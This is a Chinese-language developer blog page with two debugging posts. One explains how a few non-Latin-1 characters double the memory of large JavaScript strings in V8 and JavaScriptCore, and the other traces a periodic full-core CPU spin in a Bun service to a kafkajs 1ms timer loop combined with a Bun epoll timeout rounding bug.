Kevin Cui's Blog

6.47 MB 的 JS 字符串占了 15.4 MB 内存

bh@bugs.cc (Kevin Cui) — Fri, 04 Sep 2026 11:30:00 GMT

open-connector 是我们在做的一个开源项目，把 1464 个第三方 API (Slack、GitHub、飞书这些) 包装成统一的 action 接口。每个第三方叫一个 provider，它有哪些 action、每个 action 的输入输出长什么样 (JSON Schema)，都写在一个 JSON 文件里。这堆文件叫 catalog，服务启动时会加载进内存。

最近在给它的 Bun 单文件二进制压常驻内存，把启动后的 RSS 从 378 MiB 压到了 293 MiB (open-connector#490)。排查的时候发现，堆里最大的单个对象是一个 JSON 字符串: 6,471,221 个字符，按 UTF-8 算是 6.47 MB，在 JavaScriptCore 的堆里却占了 15.4 MB。原因是这 647 万个字符里，有 49 个超出了 Latin-1 的范围。

后来看 Cloudflare Workers 上的堆，也是同样的原因: 2 个字符让 14.5 MB 的脚本占了 27.6 MiB。记录一下。

环境:

macOS arm64
Bun 1.4.0 (JavaScriptCore)
Node 26.7.0 (V8)
esbuild 0.28.x，wrangler 4.127.1

现象 {#symptom}

服务启动时会把 catalog 里每个 provider 的摘要 (名字、描述、有哪些 action，不含 schema) JSON.stringify 一次缓存起来，作为 /api/providers 的响应体，之后每次请求原样发出去。这个字符串就是 providerSummariesJson，6,471,221 个字符。

排查内存的时候，我用 bun:jsc 的 heapStats() 对比了加载 catalog 前后的堆，再单独把这个字符串置空，确认它一个就占了 15.4 MB。

catalog 有两种加载方式。默认是启动时把每个 provider 的 JSON Schema 一起读进内存；也可以只留下名字、描述和 action 列表，schema 等真正用到某个 action 时再读对应的文件。后一种情况下，整个 JS 堆只有 26.4 MiB，光这一个字符串就超过一半。

6.47 MB 的文本占 15.4 MB，差不多是两倍。扫一遍这个字符串里码点大于 U+00FF 的字符:

const tally = new Map();
for (const ch of text) {
  if (ch.codePointAt(0) > 0xff) tally.set(ch, (tally.get(ch) ?? 0) + 1);
}

chars: 6471221, non-Latin-1 code points: 49
U+2014 "—" x13
U+2022 "•" x12
U+2192 "→" x3
U+8868 "表" x2
U+5E7F "广" x2
...

49 个字符: 13 个 em dash，12 个圆点，3 个箭头，剩下 21 个是几个国内 provider 描述里的汉字。这 49 个字符来自 17 个 provider 文件，其余 1447 个文件全是 ASCII。就是这 49 个字符，让整个字符串的每一个字符都按 2 字节存了。

为什么是两倍 {#why-two-bytes}

ECMAScript 规范里字符串是 16 位码元的序列，但引擎并不会每个字符都用 2 字节。V8 有 SeqOneByteString 和 SeqTwoByteString 两种表示，JavaScriptCore 的 StringImpl 有 is8Bit() 的 8 位和 16 位两种。规则是一样的: 字符串里每一个字符都小于等于 U+00FF，就按每字符 1 字节存；只要有一个超过，整段都按每字符 2 字节存。V8 源码里这个上限叫 kMaxOneByteCharCode = 0xFF。

这个上限是 Latin-1，不是 ASCII。é (U+00E9) 不是 ASCII，但码点仍然小于等于 U+00FF，所以还是 1 字节。真正会让整段变成 2 字节的，是超过 U+00FF 的字符，比如 em dash (U+2014)、圆点 (U+2022)、箭头 (U+2192)、汉字、emoji。所以 647 万个字符里混进 1 个汉字，整段都会翻倍。

写个脚本验证一下。800 万个纯 ASCII 字符，末尾分别加一个 é 和一个 中，看堆增长了多少:


function heap() {
  globalThis.gc();
  globalThis.gc();
  return v8.getHeapStatistics().used_heap_size;
}

function build(extra) {
  const s = "abcdefgh".repeat(1_000_000) + extra;
  s.charCodeAt(s.length - 1); // 把 rope 摊平，见下文 // [!code highlight]
  return s;
}

const base = heap();
const ascii = build("");
const h1 = heap();
const latin = build("é");
const h2 = heap();
const cjk = build("中");
const h3 = heap();
console.log(`8,000,000 x ASCII        : heap +${((h1 - base) / 1048576).toFixed(1)} MiB`);
console.log(`same + one "é" (U+00E9)  : heap +${((h2 - h1) / 1048576).toFixed(1)} MiB`);
console.log(`same + one "中" (U+4E2D) : heap +${((h3 - h2) / 1048576).toFixed(1)} MiB`);
globalThis.keep = [ascii, latin, cjk];

$ node --expose-gc demo.mjs
8,000,000 x ASCII        : heap +7.6 MiB
same + one "é" (U+00E9)  : heap +7.6 MiB
same + one "中" (U+4E2D) : heap +15.3 MiB

把 heap() 换成 Bun.gc(true) 加 process.memoryUsage().heapUsed，在 Bun 1.4.0 上跑出来的三个数字也是 7.6、7.6、15.3。两个引擎的结果一样。

红色标出来的是超出 Latin-1 的字符。

V8 还可以直接看到类型:

$ node --allow-natives-syntax -e '%DebugPrint("abc" + "é"); %DebugPrint("abc" + "中")'
DebugPrint: 0xd0faee56981: [String] in OldSpace: "abc\xe9"
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0xd0faee56999: [String] in OldSpace: u"abc\u4e2d"
 - type: SEQ_TWO_BYTE_STRING_TYPE

脚本里那行 charCodeAt 是必要的。a + b 在两个引擎里都不会立刻拷贝，而是生成一个 rope (V8 叫 ConsString，JSC 叫 JSRopeString)，左右两半各自保持原来的表示。这时候 800 万个 ASCII 字符仍然是 1 字节的。但只要对它按下标、跑正则、调用 indexOf，或者当作 HTTP 响应体写出去，引擎就会把 rope 摊平成一段连续内存，这时候才按最宽的字符决定整段用几字节。不加这行的话，三个数字全是 7.6。

rope 本身也能用 %DebugPrint 看到:

$ node --allow-natives-syntax -e 'const s = "abcdefgh".repeat(4) + "中"; %DebugPrint(s)'
DebugPrint: 0x1be004ae841: [String]: uc"abcdefghabcdefghabcdefghabcdefgh\u4e2d"
 - type: CONS_TWO_BYTE_STRING_TYPE

前缀里的 c 是 cons。拼接的一瞬间 V8 就把这个 rope 标成了 2 字节，因为右半边是 2 字节的，但左半边那些 ASCII 字符还是原来那块 1 字节内存。真正按 2 字节重新拷贝一份，发生在摊平的时候。

两个引擎的规则都能在源码里看到。V8 的 String 类注释里写了规范的定义，以及 1 字节的上限和两种顺序存储的字符类型 (string.h、unicode.h):

// The String abstract class captures JavaScript string values:
//
// Ecma-262:
//  4.3.16 String Value
//    A string value is a member of the type String and is a finite
//    ordered sequence of zero or more 16-bit unsigned integer values.
V8_OBJECT class String : public Name {
  // ...
  // Max char codes.
  static const int32_t kMaxOneByteCharCode = unibrow::Latin1::kMaxChar; // [!code highlight]
  static const int kMaxUtf16CodeUnit = 0xffff;
};

V8_OBJECT class SeqOneByteString : public SeqString {
  static const bool kHasOneByteEncoding = true;
  using Char = uint8_t; // [!code highlight]
};

V8_OBJECT class SeqTwoByteString : public SeqString {
  static const bool kHasOneByteEncoding = false;
  using Char = uint16_t; // [!code highlight]
};

class Latin1 {
 public:
  static const uint16_t kMaxChar = 0xff;
};

WebKit 里是一个 StringImpl 带一个标志位，数据指针是一个 union，同一个字符串同一时刻只能是其中一种 (StringImpl.h):

static constexpr const unsigned s_hashFlag8BitBuffer = 1u << 2;
// ...
bool is8Bit() const { return m_hashAndFlags & s_hashFlag8BitBuffer; } // [!code highlight]
// ...
std::atomic<uint32_t> m_refCount;
unsigned m_length;
union { // [!code highlight:4]
    const Latin1Character* m_data8;
    const char16_t* m_data16;
};

JSON.stringify 不会转义非 ASCII 字符。它只转义引号、反斜杠、控制字符和落单的代理对。所以只要 JSON 里有一段中文描述，JSON.stringify 出来的整个字符串就是 2 字节的，不管其余部分是不是 ASCII。

JSON.parse 不受这个影响。解析出来的每个字符串值都是独立的字符串，各自选表示:

$ node --allow-natives-syntax -e 'const o = JSON.parse(`{"a":"abcdefghabcdefgh","b":"abcdefghabcdefgh中"}`); %DebugPrint(o.a); %DebugPrint(o.b)'
DebugPrint: 0x19f36672e771: [String]: "abcdefghabcdefgh"
 - type: SEQ_ONE_BYTE_STRING_TYPE
DebugPrint: 0x19f36672e791: [String]: u"abcdefghabcdefgh\u4e2d"
 - type: SEQ_TWO_BYTE_STRING_TYPE

所以 catalog 解析成对象之后，只有那 17 个 provider 里带汉字和 em dash 的描述字段是 2 字节的，其他字段该 1 字节还是 1 字节。翻倍只发生在序列化出来的那一整段文本上。

修复 {#fix-bytes}

这个字符串的用途只有一个: 作为 HTTP 响应体原样发出去。发出去的时候本来就要编码成 UTF-8 字节，所以干脆在启动时就编码好，堆里只留 Uint8Array:

return {
  providerSummariesJson,
  // TextEncoder rather than Buffer: the Cloudflare Workers build shares this function.
  providerSummariesJson: new TextEncoder().encode(providerSummariesJson),
  providerSummariesEtag: weakEtag(providerSummariesJson),

Uint8Array 存在 ArrayBuffer 里，按字节算，6.47 MB 就是 6.47 MB。

/api/providers 带了 ETag，浏览器和 CDN 拿它判断缓存要不要作废。这个值是对 JSON 字符串做哈希得到的，哈希的是 UTF-16 码元，不是 UTF-8 字节。如果改成对字节算，已经缓存过这个接口的客户端会认为内容变了，6.47 MB 会重新拉一遍。所以哈希仍然用编码前的字符串来算，算完字符串就可以丢掉。改之前这个接口的 ETag 是 W/"62be35-aa331d99"，改完还是这一个，响应正文也和原来逐字节相同。

效果: 只留名字、描述和 action 列表的那种加载方式下，JSC 堆从 26.4 MiB 降到 17.2 MiB；schema 也放在内存里的默认方式从 74.7 MiB 降到 65.5 MiB。不过 macOS 上 ps 报的 RSS 没有变化。Bun 用的 mimalloc 释放内存之后不会立刻把页还给系统，所以 ps 看到的数字不会跟着掉。

如果必须留一个字符串，可以把非 ASCII 字符转义成 \uXXXX 写进 JSON 文本里。这仍然是合法的 JSON，解析出来的值不变，49 个字符各多占 5 个字符，整段就能回到 1 字节。在这份 catalog 上试了一下 (字符串已经长到 6,472,664 个字符)，中间还踩了一个坑:

const escaped = json.replace(/[\u0100-\uffff]/g, (c) => "\\u" + c.charCodeAt(0).toString(16).padStart(4, "0"));

json                                 : 6,472,664 chars, heap +12.34 MiB, SEQ_TWO_BYTE_STRING_TYPE
escaped = json.replace(...)          : 6,472,909 chars, heap +12.35 MiB, SEQ_TWO_BYTE_STRING_TYPE
JSON.parse(JSON.stringify(escaped))  : 6,472,909 chars, heap  +6.17 MiB, SEQ_ONE_BYTE_STRING_TYPE

转义完的字符串里已经没有任何一个大于 U+00FF 的字符了，但 replace() 的结果仍然是 2 字节的。原因在两个引擎的实现里。V8 带回调的 replace 走 Runtime_RegExpReplaceRT，结果是用原字符串的子串和每段替换文本拼出来的 (runtime-regexp.cc):

RUNTIME_FUNCTION(Runtime_RegExpReplaceRT) {
  // ...
  const bool functional_replace = IsCallable(*replace_obj);
  // ...
  IncrementalStringBuilder builder(isolate);
  // ...
    if (position >= next_source_position) {
      builder.AppendString( // [!code highlight:3]
          factory->NewSubString(string, next_source_position, position));
      builder.AppendString(replacement);

NewSubString 从一个 2 字节的 string 上切出来的子串还是 2 字节的，它沿用的是父串的表示，不看内容。IncrementalStringBuilder 一旦追加过一段 2 字节的内容就切到 2 字节，不会再切回去。所以只要原串是 2 字节，结果一定是 2 字节。

JSC 的 replace 最后都走到 jsSpliceSubstringsWithSeparators，它只看源串的标志位和每段替换文本的标志位 (StringPrototypeInlines.h):

bool allSeparators8Bit = true;
for (int i = 0; i < separatorCount; i++) {
    totalLength += separators[i].length();
    if (separators[i].length() && !separators[i].is8Bit())
        allSeparators8Bit = false;
}
// ...
if (source.is8Bit() && allSeparators8Bit) { // [!code highlight]
    std::span<Latin1Character> buffer;
    auto impl = StringImpl::tryCreateUninitialized(totalLength, buffer);

source.is8Bit() 是源串创建时就定下来的标志位。被替换掉的那 49 个字符已经不在结果里了，但标志位还在，所以结果还是按 16 位开 buffer。两个引擎都是这样: 从旧字符串派生出来的新字符串，会继承父串的宽度。要让引擎重新按内容选表示，需要再生成一个新字符串，比如 JSON.parse(JSON.stringify(escaped))，或者先编码成字节再解码回来，这之后才是 6.17 MiB。Bun 上跑出来的三组数字和这里一样。

我们最后没走这条路，除了存字节更直接，还有一个原因: 留字符串的话每次响应都要重新编码一遍。6.47 MB 做一次 TextEncoder.encode()，在上面的 macOS arm64 上测下来是 3.1 ms，而字节可以直接写进 socket。

另外有个测量上的坑。Node 里 TextDecoder.decode() 出来的大字符串是 EXTERNAL_TWO_BYTE_STRING_TYPE，数据在 V8 堆外，v8.getHeapStatistics().used_heap_size 看不到它，要看 process.memoryUsage().external。我第一次量的时候堆增长是 0，就是漏了这一块。

Cloudflare Workers 上的脚本源码 {#workers}

open-connector 同一份代码也部署在 Cloudflare Workers 上。Workers 的每个脚本跑在一个 V8 isolate 里，isolate 的堆上限是 128 MB，超了整个 isolate 会被回收重建。压完二进制之后我顺手查了一下这边到底占多少，用 wrangler dev 起服务，通过 inspector 端口发 Runtime.getHeapUsage 和 HeapProfiler.takeHeapSnapshot。

生产形态 (wrangler deploy --minify) 的稳态堆是 88.7 MiB，快照里最大的单个节点是一个 27.63 MiB 的字符串: 整个 Worker 脚本的源码。脚本文件本身是 14.5 MB。

V8 会把脚本源码一直留在堆里，因为它的编译是惰性的: 加载时只预解析，函数第一次被调用才真正编译，而且长时间没跑的函数字节码还会被丢掉，下次调用再从源码重新编译。所以源码必须留着。

源码进 isolate 的时候用哪种表示，写在 workerd (Workers 的开源运行时) 的 modules-new.c++ 里:

// The source text of an ES module in the representation handed to V8 for
// compilation. V8 has no internal UTF-8 string representation — strings are
// either one-byte (Latin-1) or two-byte (UTF-16). Worker bundle sources arrive
// as UTF-8 bytes, so each module's source is encoded once, lazily, on first
// compile, and the result is shared by every isolate that compiles the module:
//
//  * Pure-ASCII source (the overwhelmingly common case — bundlers typically
//    escape non-ASCII): the original buffer directly backs a one-byte external
//    string. Zero copies.
//  * Non-ASCII source whose code points all fit in Latin-1: transcoded once to
//    a one-byte buffer, matching the representation V8 itself would choose for
//    the same text.
//  * Anything else (CJK, emoji, ...): transcoded once to UTF-16.
// ...
EncodedSource transcodeSource(kj::ArrayPtr<const char> source) {
  if (simdutf::validate_utf8(source.begin(), source.size())) {
    // Valid UTF-8. Prefer the half-size Latin-1 representation when every code
    // point permits it. The buffer is sized exactly, so with already-validated
    // input a zero return can only mean some code point exceeds U+00FF.
    auto latin1 =
        kj::heapArray<char>(simdutf::latin1_length_from_utf8(source.begin(), source.size()));
    if (simdutf::convert_utf8_to_latin1(source.begin(), source.size(), latin1.begin()) != 0) { // [!code highlight]
      return {.repr = kj::arc<OwnedAscii>(kj::mv(latin1))};
    }

    auto utf16 =
        kj::heapArray<uint16_t>(simdutf::utf16_length_from_utf8(source.begin(), source.size()));
    // ...
    return {.repr = kj::arc<OwnedUtf16>(kj::mv(utf16))}; // [!code highlight]
  }
  // ...
}

注释里提到“打包器通常会把非 ASCII 转义掉”。旧的模块注册表走的是 v8::String::NewFromUtf8，选表示的规则一样。14,483,642 个字符乘 2，正好是 27.63 MiB。

但源码不一定要按 2 字节存。扫一遍这 14.5 MB 的脚本，码点大于 U+00FF 的字符只有 2 个: 一个 ✗ (U+2717) 和一个 ✓ (U+2713)，都在 Pi-hole 这个 provider 解析命令行输出的正则里:

function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return "failed";
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return "success";
  }
  return null;
}

代码库里其他地方有大量中文字符串，为什么最后只剩这 2 个? 因为 esbuild 默认的 charset 是 ascii，打印字符串字面量的时候，大于 0xFF 的字符写成 \uXXXX，0x80 到 0xFF 的写成 \xXX。而正则字面量在打印器里就是一行 p.print(e.Value)，原样输出 (js_printer.go):

// Is this an unpaired low surrogate or four-digit hex escape?
case (c >= firstLowSurrogate && c <= lastLowSurrogate) || (p.options.ASCIIOnly && c > 0xFF): // [!code highlight]
	js = append(js, '\\', 'u', hexChars[c>>12], hexChars[(c>>8)&15], hexChars[(c>>4)&15], hexChars[c&15])

// Can this be a two-digit hex escape?
case p.options.ASCIIOnly:
	js = append(js, '\\', 'x', hexChars[c>>4], hexChars[c&15])

case *js_ast.ERegExp:
	// ...
	p.addSourceMapping(expr.Loc)
	p.print(e.Value) // [!code highlight]

文档里也写明了这一点: 目前不会转义正则里的非 ASCII 字符，因为 esbuild 根本不解析正则的内容。效果就是:

const ok = "[✓] done";
const re = /\[✓\]\s*done/;

// esbuild --minify
const o="[\u2713] done",e=/\[✓\]\s*done/;

于是这 2 个字符让 V8 把整个 14.5 MB 的脚本按 2 字节存，27.63 MiB。所以在正则里也手写转义 (open-connector#493):

function readGravityStatus(text: string): string | null {
  if (/\[✗\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
  if (/\[\u2717\]|\berror\b|\bfatal\b|\bfailed\b/i.test(text)) {
    return "failed";
  }
  if (/\[✓\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
  if (/\[\u2713\]\s*done|\bdone\.?\s*$/im.test(text.trimEnd())) {
    return "success";
  }
  return null;
}

正则的语义完全一样，只是源码文本回到了纯 ASCII。同一台机器同一份构建，改前改后各量一次:

isolate 堆，首请求前      : 40.56 MiB -> 26.74 MiB
isolate 堆，稳态强制 GC 后 : 88.69 MiB -> 74.82 MiB

省下的 13.8 MiB 正好等于脚本文件的大小。另外加了一个测试，扫描 src/ 下所有正则字面量，出现 U+00FF 以上的字符就报文件和行号，以后谁再往正则里写一个箭头，CI 会先挂。

另外两点:

前面说的 Bun 单文件二进制，里面打包出来的 30 MB JS 没有这个问题。Bun 的打包器在 target 是 bun 的时候会把所有非 ASCII 都转义，连正则字面量里的也一起改写，输出是纯 ASCII。同一个文件 target 换成 browser 或者 node 就原样输出，和 esbuild 一样:
```
$ bun build --minify --target=bun in.js
var o="[\u2713] done",e=/\[\u2713\]\s*done/;export{o as ok,e as re};
$ bun build --minify --target=browser in.js
var o="[✓] done",e=/\[✓\]\s*done/;export{o as ok,e as re};
```
所以在二进制里翻倍的只有数据字符串，在 Workers 里翻倍的是源码。
wrangler dev 不加 --minify 的开发构建里有 2909 个非 Latin-1 字符，绝大部分在注释里，源码字符串是 58 MiB。所以量 Workers 内存一定要用生产形态，开发形态的数字没有参考价值。

怎么查 {#how-to-check}

判断一个字符串会不会按 2 字节存:

/[^\u0000-\u00ff]/u.test(s);

V8 上可以直接看类型，node --allow-natives-syntax 然后 %DebugPrint(s)，输出里是 SEQ_ONE_BYTE_STRING_TYPE 还是 SEQ_TWO_BYTE_STRING_TYPE。DevTools 的堆快照里，一个字符串的 shallow size 大约是长度的 2 倍，那就是 2 字节的。

比较容易出问题的地方:

缓存在内存里的大 JSON 响应体。有中文描述或者 em dash 的基本都会按 2 字节存。
会把源码留在堆里的运行环境，比如 Workers 这类 V8 isolate。打包器会转义字符串字面量，但不会转义正则和注释。
i18n 资源、模板、Markdown 这类本身就带非 ASCII 的大文本。

两个容易踩的坑: replace()、slice() 这类从旧字符串派生新字符串的操作会沿用旧字符串的宽度，转义完要再生成一个新字符串才生效。TextDecoder 解出来的外部字符串不在 V8 的堆统计里，看堆的时候要把 external 一起算上。

最后 {#conclusion}

catalog 已经改成存 Uint8Array，Workers 上的正则也改成了 \uXXXX。只留名字、描述和 action 列表时，JSC 堆从 26.4 MiB 降到 17.2 MiB；Workers 稳态堆从 88.7 MiB 降到 74.8 MiB。

Bun 服务周期性 CPU 100% 排查

bh@bugs.cc (Kevin Cui) — Tue, 25 Aug 2026 07:00:00 GMT

前几天线上遇到一个挺有意思的问题：一个用 Bun 写的服务，三个 pod 的 CPU 会周期性打满一个核，每次正好 10 分钟，然后自己掉下去。服务本身没报错，接口正常，健康检查也从来没失败过，就是 CPU 监控很难看。

排查完发现是两个单独看都不严重的问题叠在一起，中间还踩上了内核版本和 Bun 小版本的坑，记录一下。

环境：

Bun 1.3.14（Dockerfile 里写死的）
kafkajs 2.2.4
Kubernetes 节点内核 5.10.134

复现仓库: bun-epoll-timer-spin-repro，后面会用到。

现象 {#symptom}

这是某一天三个 pod 的分钟级 CPU。图里下面的竖线是每一次 Kafka 发送，后面会说到。几个特征很明显:

CPU 顶在 0.99 核，从来没有超过 1.0，说明只有一条线程在跑满。
每一段都是 600 秒的整数倍，起来和落下去都在一个采样间隔内，不是慢慢爬上去的。
三个 pod 经常同时开始这段占用。
凌晨基本没有，看着跟业务量有关。
占用上来的时候，用户态大概 2/3，内核态大概 1/3，网络流量、fd 数、内存跟平时几乎一样。

最后一条其实已经能排除不少东西: 不是在处理大包，也不是纯 JS 计算（那样内核态不会这么高），更像是一个带着系统调用的空转。

我一开始也怀疑过是 worker 在某个任务上死循环，但是 24 小时内所有跟任务超时、重试、心跳相关的日志全是 0 条，忙的时候和闲的时候日志量也几乎一样。也不是哪次部署带进来的，指标能看到的 16 天里天天都有。

先在 pod 里读 /proc {#proc-in-pod}

线上不能随便动，容器里也没有 perf，所以我直接用 kubectl exec 读 /proc，这个是完全只读的。

先对 /proc/<pid>/task/*/stat 里每条线程的 utime / stime 做 3 秒差分，找占 CPU 的线程。CPU 打满时的结果（100 ticks 等于一个核）:

tid   comm        d_utime  d_stime
8     bun         197      100
95    HTTP        0        0
9     bun         0        0
16    Bun         0        0
15    Bun         0        0
14    Bun         0        0
13    Bun         0        0
12    HeapHelper  0        0
11    HeapHelper  0        0
10    HeapHelper  0        0

占 CPU 的就是主线程（tid 和 pid 相同的那条）。然后高频去读它的 /proc/<pid>/task/<tid>/syscall。这个文件第一列是线程当前卡在哪个 syscall 号上¹，后面跟着 6 个参数；线程在用户态时，写的是 running:

i=0
while [ $i -lt 3000 ]; do
  cat /proc/8/task/8/syscall >> /tmp/sc.txt
  i=$((i+1))
done
# 停在哪个 syscall 上
awk '{print $1}' /tmp/sc.txt | sort | uniq -c | sort -rn
# epoll_pwait 的 timeout 参数（第 4 个参数，也就是第 5 列）
awk '$1 == 281 {print $5}' /tmp/sc.txt | sort | uniq -c | sort -rn

空闲时的输出:

3000 次采样里 2969 次停在 syscall 281，也就是 epoll_pwait，timeout 是几十到几百毫秒，很正常。但是有个细节: 从头到尾没有出现过 441（epoll_pwait2）。这个后面会用到。

CPU 打满时的输出:

   2979 running
     21 281

     21 0x1

几乎全在用户态，偶尔停在 epoll_pwait 上，而且 timeout 是 1ms。

再看 /proc/<pid>/net/tcp，空闲时只有 4 条连接（Redis、Postgres），CPU 打满时多出了两条到 9095 端口的连接，那是 Kafka broker。

每次都是 Kafka 发送 {#kafka-send}

这个服务用 kafkajs 往 Kafka 发计量事件。于是我把 48 小时内所有会触发 Kafka 发送的日志拉出来，和 115 段 CPU 占用对了一下时间:

每段占用的起点，距离最近一次发送在 -13 秒到 +1 秒之内（采样误差内）
每段占用的终点，都是这段里最后一次发送再加 600 秒到 611 秒
反过来，373 次发送全部落在某段占用里，一次不漏

600 秒是 Kafka broker connections.max.idle.ms 的默认值: 连接空闲 10 分钟后，broker 会主动把连接关掉。所以这段 CPU 占用的时长，就是一条 Kafka 连接从建立到被掐掉的时间。三个 pod 同时打满，是因为同一个用户的一批任务被分到了三台机器上，几秒内各发了一条消息。

kafkajs 里的 1ms setTimeout {#kafkajs-settimeout}

看 kafkajs 2.2.4 的 src/network/requestQueue/index.js:

checkPendingRequests() {
  while (this.pending.length > 0 && this.canSendSocketRequestImmediately()) {
    // ...
  }
  this.scheduleCheckPendingRequests() // [!code highlight]
}

scheduleCheckPendingRequests() {
  let scheduleAt = this.throttledUntil - Date.now() // [!code highlight]
  if (!this.throttleCheckTimeoutId) {
    if (this.pending.length > 0) {
      scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
    }
    this.throttleCheckTimeoutId = setTimeout(() => { // [!code highlight:4]
      this.throttleCheckTimeoutId = null
      this.checkPendingRequests()
    }, scheduleAt)
  }
}

checkPendingRequests 不管怎么样都会再调一次 scheduleCheckPendingRequests。后者在 pending 为空、也没有限流的情况下，依然会 setTimeout 一下，回调里再调 checkPendingRequests。而 throttledUntil 的初始值是 -1，所以 scheduleAt 是一个很大的负数。Node 和 Bun 都会把负数延迟当成 1ms 来处理。

于是从连接收到第一个响应开始，每条 broker 连接上就挂着一个 1ms 的 setTimeout 循环，直到 destroy() 被调用。而 destroy() 只在连接断开时才会调。

这个问题上游早有人报过（kafkajs#1556、kafkajs#1704），修复的 PR 也早就有了（kafkajs#1572），但是一直没合进去。我们仓库里之前也为它打过一个 patch，不过只是把负数兜底成了 Math.max(1, scheduleAt || 1)，等于把这个 1ms 的循环留下来了，并没有消掉。

但是说到底，一个 1ms 的 setTimeout 循环，在 Node 上也就是 2% 左右的 CPU，怎么会打满一个核？

为什么 Bun 会打满一个核 {#why-bun-spins}

答案在 Bun 的事件循环里。Bun 1.3.14 的 packages/bun-usockets/src/eventing/epoll_kqueue.c:

// [!code word:tv_nsec / 1000000]
static int bun_epoll_pwait2(int epfd, struct epoll_event *events, int maxevents, const struct timespec *timeout) {
    if (has_epoll_pwait2 != 0) {
        // ... sys_epoll_pwait2(...)
    }

    int timeoutMs = -1;
    if (timeout) {
        timeoutMs = timeout->tv_sec * 1000 + timeout->tv_nsec / 1000000;
    }

    do {
        ret = epoll_pwait(epfd, events, maxevents, timeoutMs, &mask);
    } while (IS_EINTR(ret));

    return ret;
}

Bun 优先用 epoll_pwait2，它接受纳秒级的 timespec。但是 epoll_pwait2 是 Linux 5.11 才有的，Bun 会检查内核版本，低于 5.11 就退回 epoll_pwait，超时按毫秒传。问题就在 tv_nsec / 1000000 这一行: 向下取整。

一个 1ms 的定时器，在回调里又 setTimeout 了自己。事件循环算下一次要等多久，剩余 0.9x ms，取整之后变成 0，epoll_pwait(…, 0) 立刻返回，再算一次还是 0，就这样一直转到定时器到期。然后回调再设一个新的 1ms 定时器，接着转。

这也解释了前面 /proc 里看到的现象: 主线程从来没调用过 epoll_pwait2，因为我们的节点内核是 5.10.134。CPU 打满时采到的那些 0x1，是每一轮里唯一真正会睡的一次调用。timeout 为 0 的那些调用立刻就返回了，几乎采不到。

这段向下取整的代码 1.3.11 里就有了，但是只有 1.3.14 会出问题。差别在 1.3.14 的 bun#29806: 它把 timespec.now() 底层的时钟，从 Linux 上的 CLOCK_MONOTONIC_COARSE 换成了纳秒级的 hw_timer（rdtsc）。旧时钟是毫秒级的 jiffy 粒度，1ms 定时器的剩余时间要么是整 1ms，要么已经到期，不会出现 0.9ms 这种值，所以取整也取不出 0。换成纳秒时钟之后，这个早就存在的取整问题才第一次被撞上。

Bun 上游在 bun#34780 修掉了这个问题（改成向上取整），但只进了 1.4.0，1.3.14 之后再没有发过 1.3.x。所以受影响的就只有 1.3.14 这一个版本，而且还得跑在没有 epoll_pwait2 的内核上。

本地复现 {#local-repro}

复现这个问题不需要真去找一台 5.10 内核的机器。Docker 的 seccomp 可以让某个 syscall 直接返回 ENOSYS。Bun 检测到 epoll_pwait2 返回 ENOSYS 时，会走同一条退回 epoll_pwait 的逻辑:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    { "names": ["epoll_pwait2"], "action": "SCMP_ACT_ERRNO", "errnoRet": 38 }
  ]
}

我把整个复现放在了 bun-epoll-timer-spin-repro 里，只依赖 Docker:

git clone https://github.com/BlackHole1/bun-epoll-timer-spin-repro.git
cd bun-epoll-timer-spin-repro
./run.sh

它会在 Bun 1.3.13 / 1.3.14 / 1.4.0 三个镜像里，分别在有和没有 epoll_pwait2 的情况下跑三种定时器: 直接 setTimeout(fn, 1)、直接 setTimeout(fn, 10)，以及直接构造 kafkajs 的 RequestQueue 并调一次 checkPendingRequests()（不需要真的连 Kafka）。每个 case 跑 5 秒，统计定时器触发频率和 CPU:

bun       epoll_pwait2   mode        iter/s   user%    sys%
1.3.13    available      timer1         330     1.2     1.4
1.3.13    available      timer10         84     1.4     0.8
1.3.13    available      kafkajs        327     2.2     0.9
1.3.13    blocked        timer1         327     1.7     1.1
1.3.13    blocked        timer10         84     1.5     1.2
1.3.13    blocked        kafkajs        321     2.3     1.5
1.3.14    available      timer1         336     1.2     0.7
1.3.14    available      timer10         85       1     0.2
1.3.14    available      kafkajs        335     2.3     0.7
1.3.14    blocked        timer1         996      56    43.5
1.3.14    blocked        timer10         92       2     0.7
1.3.14    blocked        kafkajs        993    62.9    36.6
1.4.0     available      timer1         334     1.3     1.6
1.4.0     available      timer10         86     0.8     0.4
1.4.0     available      kafkajs        337       2     1.3
1.4.0     blocked        timer1         338       1     1.1
1.4.0     blocked        timer10         85     0.7     0.5
1.4.0     blocked        kafkajs        334     1.3     1.1

只有 1.3.14 加上 blocked 那两行会打满一个核。所以其实跟 kafkajs 没什么关系，任何一条 1ms 的 setTimeout 循环在这个组合下都一样。

strace 看到的就是 2 秒内 14.8 万次 epoll_pwait(4, [], 1024, 0, [], 8) = 0 <0.000001>，每次间隔 6 到 7 µs。这就是用户态 2/3、内核态 1/3 的来源。

修复 {#fix}

改 kafkajs 的 patch: pending 为空且没有限流时，直接不设定时器，其余逻辑不动。

       if (this.pending.length > 0) {
         scheduleAt = scheduleAt > 0 ? scheduleAt : CHECK_PENDING_REQUESTS_INTERVAL
       }
-      // Prevent negative or invalid delays
-      scheduleAt = Math.max(1, scheduleAt || 1)
+      if (scheduleAt <= 0) {
+        return
+      }
       this.throttleCheckTimeoutId = setTimeout(() => {

复现环境里 CPU 从 99% 降到 0.2%。

另外顺手做了两件事:

把 kafkajs 从 ^2.2.4 改成写死 2.2.4。Bun 的 patchedDependencies 是按 kafkajs@2.2.4 这个 key 匹配的，一旦 lockfile 解析到别的版本，Bun 会静默跳过补丁，bun install 退出码还是 0，一个字都不提示。
加了一个直接引用 kafkajs/src/network/requestQueue/index.js 的测试，断言无 pending 时不会 setTimeout。以后 patch 丢了，测试会先挂。

最后 {#conclusion}

线上已经打上这个 patch，那段周期性打满一个核的曲线没了。等 Bun 升到 1.4.0 之后，就算 patch 丢了，这个组合也不会再出现。

syscall 号是跟架构走的。x86_64 可以去内核源码的 syscall_64.tbl 里查，本机装了 auditd 的话也可以直接 ausyscall x86_64 281。后面会碰到这几个:
```
202  futex
281  epoll_pwait
441  epoll_pwait2
```
